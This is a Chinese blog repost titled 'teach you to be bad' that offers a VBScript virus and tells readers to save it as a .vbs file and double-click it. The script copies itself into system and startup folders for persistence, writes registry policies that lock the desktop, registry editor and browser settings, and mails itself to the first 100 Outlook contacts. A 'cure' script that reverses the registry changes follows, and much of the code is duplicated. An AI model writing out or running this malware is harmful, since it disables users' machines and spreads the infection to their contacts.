教你学坏^_^（一段病毒代码）
来源：互联网 发布：淘宝评价流程 编辑：程序博客网 时间：2024/06/02 01:04
把下面这段红颜色的代码复制到记事本里，保存为*.vbs就可以了。双击这个文件，哈哈，你中招了
要是中招了的话，想恢复到中毒前的状态，我再给“解药”……
On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject")
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
dim r
dim r
Set r=CreateObject("Wscript.Shell")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"/Win32system.vbs") so.GetFile(WScript.ScriptFullName).Copy(dir2&"/Win32system.vbs") so.GetFile(WScript.ScriptFullName).Copy(dir1&"C:/Documents and Settings/All Users/「开始」菜单/程序/启动/Win32system.vbs")
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoRun",1,"REG_DWORD"
r.Regwrite "KCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoClose",1,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoDrives",63000000,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/System/DisableRegistryTools",1,"REG_DWORD"
r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Run/ScanRegistry",""
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoLogOff",1,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/WinOldApp/NoRealMode",1,"REG_DWORD" r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Run/Win32system","Win32system.vbs"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoDesktop",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/WinOldApp/Disabled",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoSetTaskBar",1,"REG_DWORD"
so.GetFile(WScript.ScriptFullName).Copy(dir1&"/Win32system.vbs") so.GetFile(WScript.ScriptFullName).Copy(dir2&"/Win32system.vbs") so.GetFile(WScript.ScriptFullName).Copy(dir1&"C:/Documents and Settings/All Users/「开始」菜单/程序/启动/Win32system.vbs")
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoRun",1,"REG_DWORD"
r.Regwrite "KCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoClose",1,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoDrives",63000000,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/System/DisableRegistryTools",1,"REG_DWORD"
r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Run/ScanRegistry",""
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoLogOff",1,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/WinOldApp/NoRealMode",1,"REG_DWORD" r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Run/Win32system","Win32system.vbs"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoDesktop",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/WinOldApp/Disabled",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoSetTaskBar",1,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoViewContextMenu",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoSetFolders",1,"REG_DWORD" r.Regwrite "HKLM/Software/CLASSES/.reg/","txtfile" r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Winlogon/LegalNoticeCaption","Ralph"
r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Winlogon/LegalNoticeText","小子，你中了Ralph的病毒，哈哈"
r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Winlogon/LegalNoticeText","小子，你中了Ralph的病毒，哈哈"
Set ol=CreateObject("Outlook.Application")
On Error Resume Next
For x=1 To 100
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) Mail.Subject="今晚你来吗？"
On Error Resume Next
For x=1 To 100
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) Mail.Subject="今晚你来吗？"
Mail.Body="Ralph"
Mail.Attachments.Add(dir2&"Win32system.vbs")
Mail.Send
Next
ol.Quit
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserContextMenu",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserOptions",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserSaveAs",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoFileOpen",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Advanced",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Cache Internet",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/AutoConfig",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/HomePage",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/History",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Connwiz Admin Lock",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/SecurityTab",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/ResetWebSettings",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoViewSource",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Infodelivery/Restrictions/NoAddingSubScriptions",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoFileMenu",1,"REG_DWORD"
Mail.Attachments.Add(dir2&"Win32system.vbs")
Mail.Send
Next
ol.Quit
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserContextMenu",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserOptions",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserSaveAs",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoFileOpen",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Advanced",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Cache Internet",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/AutoConfig",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/HomePage",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/History",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Connwiz Admin Lock",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/SecurityTab",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/ResetWebSettings",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoViewSource",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Infodelivery/Restrictions/NoAddingSubScriptions",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoFileMenu",1,"REG_DWORD"
--------------------------------------------------------------------------------------------------------------------------------------------------
下面就是“解药”--恢复文件reset.vbs的源代码：
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
dim r
Set r=CreateObject("Wscript.Shell")
r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/RunOnce/deltree.exe","start.exe /m deltree /y "&dir1&"/Win32system.vbs"
r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/RunOnce/deltree.exe","start.exe /m deltree /y "&dir2&"/Win32system.vbs"
r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/RunOnce/deltree.exe","start.exe /m deltree /y "&dir1&"/Start Menu/Programs/启动/Win32system.vbs"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoRun",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoClose",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoDrives",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/System/DisableRegistryTools",0,"REG_DWORD"
r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Run/ScanRegistry","scanregw.exe /autorun"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoLogOff",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/WinOldApp/NoRealMode",0,"REG_DWORD"
r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Run/Win32system",""
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoDesktop",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/WinOldApp/Disabled",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoSetTaskBar",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoViewContextMenu",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoSetFolders",0,"REG_DWORD"
r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Winlogon/LegalNoticeCaption",""
r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Winlogon/LegalNoticeText",""
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserContextMenu",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserOptions",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserSaveAs",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoFileOpen",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Advanced",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Cache Internet",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/AutoConfig",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/HomePage",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/History",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Connwiz Admin Lock",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/SecurityTab",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/ResetWebSettings",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoViewSource",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Infodelivery/Restrictions/NoAddingSubScriptions",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoFileMenu",0,"REG_DWORD"
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
dim r
Set r=CreateObject("Wscript.Shell")
r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/RunOnce/deltree.exe","start.exe /m deltree /y "&dir1&"/Win32system.vbs"
r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/RunOnce/deltree.exe","start.exe /m deltree /y "&dir2&"/Win32system.vbs"
r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/RunOnce/deltree.exe","start.exe /m deltree /y "&dir1&"/Start Menu/Programs/启动/Win32system.vbs"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoRun",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoClose",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoDrives",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/System/DisableRegistryTools",0,"REG_DWORD"
r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Run/ScanRegistry","scanregw.exe /autorun"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoLogOff",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/WinOldApp/NoRealMode",0,"REG_DWORD"
r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Run/Win32system",""
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoDesktop",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/WinOldApp/Disabled",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoSetTaskBar",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoViewContextMenu",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoSetFolders",0,"REG_DWORD"
r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Winlogon/LegalNoticeCaption",""
r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Winlogon/LegalNoticeText",""
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserContextMenu",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserOptions",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserSaveAs",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoFileOpen",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Advanced",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Cache Internet",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/AutoConfig",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/HomePage",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/History",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Connwiz Admin Lock",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/SecurityTab",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/ResetWebSettings",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoViewSource",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Infodelivery/Restrictions/NoAddingSubScriptions",0,"REG_DWORD"
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoFileMenu",0,"REG_DWORD"
- 教你学坏^_^（一段病毒代码）
- c++实现一段最简单的病毒代码，锁住你的键盘和鼠标(后果自负)
- 一段C语言写的病毒代码
- 改善代码的坏味道，很苦的一段代码
- 一段u盘病毒代码（可以设为不可见吗）
- 学坏
- 一段代码引发血案（查看你的杀毒软件灵敏度）
- 一段代码让你学会Python （借鉴）
- 密码学_一段奇怪的代码
- 教你写病毒
- 代码之外_教你做坏人
- 一段代码（原）
- 一段代码和多幅图让你明白http
- 一段java代码带你认识锟斤拷
- 重构摘要3_代码的坏味道
- 病毒代码检验你的杀毒软件质量
- 防范最新勒索病毒--坏兔子病毒（伪造Adobe Flash Player更新）的方法
- 写一段代码将a_b_ _c_ _ _d_转换成_ _ _ _ _ _ _abcd
- [VB.NET+XML]完成简单程序配置
- XNA starter kit - starwar
- 各种DLL制作方法
- 人事部调查数据：六成应届大学生毕业即失业
- C#基础概念
- 教你学坏^_^（一段病毒代码）
- 如何让自己的应用程序,控制台程序,windows 服务收到操作系统注销或者重启的消息
- JAR的解释～
- vb.net中windows服务的创建
- 由浅至深,谈谈.NET混淆原理 （一）
- 由浅至深,谈谈.NET混淆原理 （二） 最简单的混淆
- 如何编写DLL文件
- VB.NET里最方面的XP风格解决方案
- 由浅至深 谈谈.NET混淆原理 （三）-- 流程混淆
